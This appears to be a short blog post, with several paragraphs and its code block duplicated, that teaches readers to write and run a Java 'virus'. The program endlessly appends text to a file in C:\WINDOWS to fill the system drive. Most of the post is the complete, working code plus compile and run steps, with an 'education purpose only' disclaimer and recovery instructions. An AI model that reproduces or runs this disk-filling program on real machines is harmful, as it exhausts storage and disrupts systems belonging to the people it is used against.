Hey guys. I'm back with some virus program in java. It's amazing that with some little logical concepts a simple program can turn into a virus. Here I'm going to show how to create a simple space eater program using java.
WARNING:- THIS IS FOR EDUCATION PURPOSE ONLY. I'M NOT RESPONSIBLE IN CASE OF ANY KIND OF MISUSE .
Without much delay lets get started:
Open notepad and type the following virus code:
WARNING:- THIS IS FOR EDUCATION PURPOSE ONLY. I'M NOT RESPONSIBLE IN CASE OF ANY KIND OF MISUSE .
Without much delay lets get started:
Open notepad and type the following virus code:
import java.io.*;
class Virus
{
public static void main(String ar[])
{
try
{
FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true);
while(true)
{
f.write("Programming Is Such A FUN !!!");
}
}
catch(FileNotFoundException e){}
catch(IOException e){}
}
}
Save it as Virus.java
class Virus
{
public static void main(String ar[])
{
try
{
FileWriter f=new FileWriter("C:/WINDOWS/Virus.dll",true);
while(true)
{
f.write("Programming Is Such A FUN !!!");
}
}
catch(FileNotFoundException e){}
catch(IOException e){}
}
}
Save it as Virus.java
Now generate the byte code of program using Java Compiler.
When you execute this
program It will start eating the space of your C drive. To stop this virus
simply close the command window.
In order to recover
the lost space of your drive. go to C:\WINDOWS and delete the file virus.dll
(also from Recycle bin)
·
EXPLANATION:
On execution this program will create a file called virus.DLL at the location C:\Windows and start increasing its size by sending the junk data into it which automatically increase the size of the disk.
TIP :- You can try this on your computer too....
No comments:
Post a Comment